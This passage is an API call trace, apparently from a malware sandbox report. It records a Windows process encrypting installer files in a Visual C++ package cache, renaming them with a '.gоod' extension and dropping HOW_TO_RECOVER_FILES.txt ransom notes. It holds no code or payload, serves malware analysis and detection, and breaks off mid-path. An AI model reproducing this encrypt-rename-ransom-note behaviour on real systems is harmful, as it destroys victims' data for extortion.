ftLastWriteTime.dwHighDateTime=0x1ced51d, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0 [0090.919] FindClose (in: hFindFile=0x1ec1dc40 | out: hFindFile=0x1ec1dc40) returned 1 [0090.919] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59cae0) returned 1 [0090.919] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59caa0) returned 1 [0090.919] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\cab1.cab", nBufferLength=0x105, lpBuffer=0x1f59c480, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\cab1.cab", lpFilePart=0x0) returned 0x78 [0090.919] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c950) returned 1 [0090.919] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\vcruntimeadditional_x86\\cab1.cab"), fInfoLevelId=0x0, lpFileInformation=0x345ecf0 | out: lpFileInformation=0x345ecf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98d1a600, ftCreationTime.dwHighDateTime=0x1ced51c, ftLastAccessTime.dwLowDateTime=0x98d1a600, ftLastAccessTime.dwHighDateTime=0x1ced51c, ftLastWriteTime.dwLowDateTime=0x98d1a600, ftLastWriteTime.dwHighDateTime=0x1ced51c, nFileSizeHigh=0x0, nFileSizeLow=0x4ea418)) returned 1 [0090.920] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c910) returned 1 [0090.920] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\cab1.cab", nBufferLength=0x105, lpBuffer=0x1f59c330, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\cab1.cab", lpFilePart=0x0) returned 0x78 [0090.920] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c850) returned 1 [0090.920] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\vcruntimeadditional_x86\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7ac [0090.921] GetFileType (hFile=0x7ac) returned 0x1 [0090.921] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c7c0) returned 1 [0090.921] GetFileType (hFile=0x7ac) returned 0x1 [0090.921] SetFilePointer (in: hFile=0x7ac, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59c9a8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59c9a8*=0) returned 0x1000 [0090.921] ReadFile (in: hFile=0x7ac, lpBuffer=0x345f1c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59c978, lpOverlapped=0x0 | out: lpBuffer=0x345f1c8*, lpNumberOfBytesRead=0x1f59c978*=0x1000, lpOverlapped=0x0) returned 1 [0090.922] CloseHandle (hObject=0x7ac) returned 1 [0090.923] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\cab1.cab", nBufferLength=0x105, lpBuffer=0x1f59c330, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\cab1.cab", lpFilePart=0x0) returned 0x78 [0090.923] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c850) returned 1 [0090.923] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\vcruntimeadditional_x86\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7ac [0090.923] GetFileType (hFile=0x7ac) returned 0x1 [0090.923] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c7c0) returned 1 [0090.923] GetFileType (hFile=0x7ac) returned 0x1 [0090.923] SetFilePointer (in: hFile=0x7ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59c9a8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59c9a8*=0) returned 0x4ea418 [0090.923] WriteFile (in: hFile=0x7ac, lpBuffer=0x34604c0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59c898, lpOverlapped=0x0 | out: lpBuffer=0x34604c0*, lpNumberOfBytesWritten=0x1f59c898*=0x10, lpOverlapped=0x0) returned 1 [0090.927] CloseHandle (hObject=0x7ac) returned 1 [0090.927] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\cab1.cab", nBufferLength=0x105, lpBuffer=0x1f59c330, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\cab1.cab", lpFilePart=0x0) returned 0x78 [0090.928] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c850) returned 1 [0090.928] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\vcruntimeadditional_x86\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7ac [0090.928] GetFileType (hFile=0x7ac) returned 0x1 [0090.928] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c7c0) returned 1 [0090.928] GetFileType (hFile=0x7ac) returned 0x1 [0090.928] ReadFile (in: hFile=0x7ac, lpBuffer=0x34627e0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59c928, lpOverlapped=0x0 | out: lpBuffer=0x34627e0*, lpNumberOfBytesRead=0x1f59c928*=0x1000, lpOverlapped=0x0) returned 1 [0091.282] CloseHandle (hObject=0x7ac) returned 1 [0091.282] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\cab1.cab", nBufferLength=0x105, lpBuffer=0x1f59c330, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\cab1.cab", lpFilePart=0x0) returned 0x78 [0091.282] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c850) returned 1 [0091.282] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\vcruntimeadditional_x86\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7ac [0091.282] GetFileType (hFile=0x7ac) returned 0x1 [0091.282] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c7c0) returned 1 [0091.282] GetFileType (hFile=0x7ac) returned 0x1 [0091.282] WriteFile (in: hFile=0x7ac, lpBuffer=0x332d548*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59c9d8, lpOverlapped=0x0 | out: lpBuffer=0x332d548*, lpNumberOfBytesWritten=0x1f59c9d8*=0x1010, lpOverlapped=0x0) returned 1 [0091.282] CloseHandle (hObject=0x7ac) returned 1 [0091.283] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\cab1.cab", nBufferLength=0x105, lpBuffer=0x1f59c480, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\cab1.cab", lpFilePart=0x0) returned 0x78 [0091.283] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\cab1.cab.gоod", nBufferLength=0x105, lpBuffer=0x1f59c480, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\cab1.cab.gоod", lpFilePart=0x0) returned 0x7d [0091.283] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c910) returned 1 [0091.283] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\vcruntimeadditional_x86\\cab1.cab"), fInfoLevelId=0x0, lpFileInformation=0x1f59c9f0 | out: lpFileInformation=0x1f59c9f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98d1a600, ftCreationTime.dwHighDateTime=0x1ced51c, ftLastAccessTime.dwLowDateTime=0x98d1a600, ftLastAccessTime.dwHighDateTime=0x1ced51c, ftLastWriteTime.dwLowDateTime=0x329ec07c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4ea428)) returned 1 [0091.283] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c8d0) returned 1 [0091.283] MoveFileW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\vcruntimeadditional_x86\\cab1.cab"), lpNewFileName="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\cab1.cab.gоod" (normalized: "c:\\programdata\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\vcruntimeadditional_x86\\cab1.cab.gоod")) returned 1 [0091.283] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi", nBufferLength=0x105, lpBuffer=0x1f59c480, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi", lpFilePart=0x0) returned 0x8c [0091.283] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c950) returned 1 [0091.284] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi" (normalized: "c:\\programdata\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\vcruntimeadditional_x86\\vc_runtimeadditional_x86.msi"), fInfoLevelId=0x0, lpFileInformation=0x36462e0 | out: lpFileInformation=0x36462e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x565c9900, ftCreationTime.dwHighDateTime=0x1ced51d, ftLastAccessTime.dwLowDateTime=0x565c9900, ftLastAccessTime.dwHighDateTime=0x1ced51d, ftLastWriteTime.dwLowDateTime=0x565c9900, ftLastWriteTime.dwHighDateTime=0x1ced51d, nFileSizeHigh=0x0, nFileSizeLow=0x25000)) returned 1 [0091.284] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c910) returned 1 [0091.284] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi", nBufferLength=0x105, lpBuffer=0x1f59c330, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi", lpFilePart=0x0) returned 0x8c [0091.284] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c850) returned 1 [0091.284] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi" (normalized: "c:\\programdata\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\vcruntimeadditional_x86\\vc_runtimeadditional_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7ac [0091.285] GetFileType (hFile=0x7ac) returned 0x1 [0091.285] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c7c0) returned 1 [0091.285] GetFileType (hFile=0x7ac) returned 0x1 [0091.285] SetFilePointer (in: hFile=0x7ac, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59c9a8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59c9a8*=0) returned 0x1000 [0091.285] ReadFile (in: hFile=0x7ac, lpBuffer=0x36468f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59c978, lpOverlapped=0x0 | out: lpBuffer=0x36468f0*, lpNumberOfBytesRead=0x1f59c978*=0x1000, lpOverlapped=0x0) returned 1 [0091.286] CloseHandle (hObject=0x7ac) returned 1 [0091.286] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi", nBufferLength=0x105, lpBuffer=0x1f59c330, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi", lpFilePart=0x0) returned 0x8c [0091.286] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c850) returned 1 [0091.286] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi" (normalized: "c:\\programdata\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\vcruntimeadditional_x86\\vc_runtimeadditional_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7ac [0091.286] GetFileType (hFile=0x7ac) returned 0x1 [0091.287] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c7c0) returned 1 [0091.287] GetFileType (hFile=0x7ac) returned 0x1 [0091.287] SetFilePointer (in: hFile=0x7ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59c9a8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59c9a8*=0) returned 0x25000 [0091.287] WriteFile (in: hFile=0x7ac, lpBuffer=0x3647d08*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59c898, lpOverlapped=0x0 | out: lpBuffer=0x3647d08*, lpNumberOfBytesWritten=0x1f59c898*=0x10, lpOverlapped=0x0) returned 1 [0091.287] CloseHandle (hObject=0x7ac) returned 1 [0091.287] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi", nBufferLength=0x105, lpBuffer=0x1f59c330, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi", lpFilePart=0x0) returned 0x8c [0091.287] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c850) returned 1 [0091.287] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi" (normalized: "c:\\programdata\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\vcruntimeadditional_x86\\vc_runtimeadditional_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7ac [0091.287] GetFileType (hFile=0x7ac) returned 0x1 [0091.287] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c7c0) returned 1 [0091.288] GetFileType (hFile=0x7ac) returned 0x1 [0091.288] ReadFile (in: hFile=0x7ac, lpBuffer=0x364a078, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59c928, lpOverlapped=0x0 | out: lpBuffer=0x364a078*, lpNumberOfBytesRead=0x1f59c928*=0x1000, lpOverlapped=0x0) returned 1 [0091.712] CloseHandle (hObject=0x7ac) returned 1 [0091.712] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi", nBufferLength=0x105, lpBuffer=0x1f59c330, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi", lpFilePart=0x0) returned 0x8c [0091.712] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c850) returned 1 [0091.712] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi" (normalized: "c:\\programdata\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\vcruntimeadditional_x86\\vc_runtimeadditional_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7ac [0091.712] GetFileType (hFile=0x7ac) returned 0x1 [0091.712] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c7c0) returned 1 [0091.712] GetFileType (hFile=0x7ac) returned 0x1 [0091.712] WriteFile (in: hFile=0x7ac, lpBuffer=0x334adf8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59c9d8, lpOverlapped=0x0 | out: lpBuffer=0x334adf8*, lpNumberOfBytesWritten=0x1f59c9d8*=0x1010, lpOverlapped=0x0) returned 1 [0091.713] CloseHandle (hObject=0x7ac) returned 1 [0091.713] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi", nBufferLength=0x105, lpBuffer=0x1f59c480, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi", lpFilePart=0x0) returned 0x8c [0091.713] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi.gоod", nBufferLength=0x105, lpBuffer=0x1f59c480, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi.gоod", lpFilePart=0x0) returned 0x91 [0091.713] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c910) returned 1 [0091.713] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi" (normalized: "c:\\programdata\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\vcruntimeadditional_x86\\vc_runtimeadditional_x86.msi"), fInfoLevelId=0x0, lpFileInformation=0x1f59c9f0 | out: lpFileInformation=0x1f59c9f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x565c9900, ftCreationTime.dwHighDateTime=0x1ced51d, ftLastAccessTime.dwLowDateTime=0x565c9900, ftLastAccessTime.dwHighDateTime=0x1ced51d, ftLastWriteTime.dwLowDateTime=0x32e18393, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x25010)) returned 1 [0091.713] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c8d0) returned 1 [0091.713] MoveFileW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi" (normalized: "c:\\programdata\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\vcruntimeadditional_x86\\vc_runtimeadditional_x86.msi"), lpNewFileName="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi.gоod" (normalized: "c:\\programdata\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\vcruntimeadditional_x86\\vc_runtimeadditional_x86.msi.gоod")) returned 1 [0091.714] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f59c5f0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x88 [0091.714] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59cb10) returned 1 [0091.714] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\vcruntimeadditional_x86\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7ac [0091.716] GetFileType (hFile=0x7ac) returned 0x1 [0091.716] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59ca80) returned 1 [0091.716] GetFileType (hFile=0x7ac) returned 0x1 [0091.717] WriteFile (in: hFile=0x7ac, lpBuffer=0x353a4d0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f59cbd8, lpOverlapped=0x0 | out: lpBuffer=0x353a4d0*, lpNumberOfBytesWritten=0x1f59cbd8*=0x5d0, lpOverlapped=0x0) returned 1 [0091.718] CloseHandle (hObject=0x7ac) returned 1 [0091.719] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f59d020, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x70 [0091.719] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d540) returned 1 [0091.719] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7ac [0091.719] GetFileType (hFile=0x7ac) returned 0x1 [0091.719] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d4b0) returned 1 [0091.719] GetFileType (hFile=0x7ac) returned 0x1 [0091.720] WriteFile (in: hFile=0x7ac, lpBuffer=0x353dde8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f59d608, lpOverlapped=0x0 | out: lpBuffer=0x353dde8*, lpNumberOfBytesWritten=0x1f59d608*=0x5d0, lpOverlapped=0x0) returned 1 [0091.721] CloseHandle (hObject=0x7ac) returned 1 [0091.721] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f59da50, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x67 [0091.721] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59df70) returned 1 [0091.721] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7ac [0091.724] GetFileType (hFile=0x7ac) returned 0x1 [0091.725] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dee0) returned 1 [0091.725] GetFileType (hFile=0x7ac) returned 0x1 [0091.871] WriteFile (in: hFile=0x7ac, lpBuffer=0x33ce868*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f59e038, lpOverlapped=0x0 | out: lpBuffer=0x33ce868*, lpNumberOfBytesWritten=0x1f59e038*=0x5d0, lpOverlapped=0x0) returned 1 [0091.872] CloseHandle (hObject=0x7ac) returned 1 [0091.872] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0091.872] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package 